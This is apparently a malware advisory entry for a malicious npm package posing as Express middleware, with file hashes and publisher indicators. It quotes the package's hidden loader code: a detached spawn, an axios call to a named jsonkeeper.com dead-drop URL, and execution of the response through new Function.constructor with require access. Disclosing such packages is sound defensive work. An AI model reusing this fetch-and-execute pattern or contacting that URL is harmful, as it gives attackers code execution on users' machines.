GCVE-110-OSM-2026-3165

Downloads and executes a second-stage JavaScript payload from a dead-drop URL at jsonkeeper.com as a detached background process that persists after npm install completes, granting the attacker full Node.js runtime access on the victim machine. index.js exports a fake Express middleware that, on invocation, spawns lib/caller.js as a detached process (spawn({detached:true, stdio:'ignore'}); child.unref()). caller.js fetches a second-stage payload via axios.get('https://jsonkeeper.com/b/ZK45J', {headers: {'x-secret-key': '_'}}) and executes the response .data.cookie field via new Function.constructor('require', payload)(require), granting the stage-2 payload full require() access. Retries up to 5 times on failure. Stage-2 payload (18.3KB) confirmed live at jsonkeeper.com/b/ZK45J during analysis: RC4+Base64 obfuscated JavaScript with fetch-write-spawn chain. sha256(caller.js): b0098181dcb3b52d59bde530630ccf4580e8c2fa9467edbacaab217bf824bc77. sha256(index.js): 32e82853dd646aac388b78f868241267a5e6483d847df3d4c843f8100590d469. Three phantom dependencies (request, sqlite3, parse-json) declared but never imported. Publisher uses disposable email domain poisonword.com.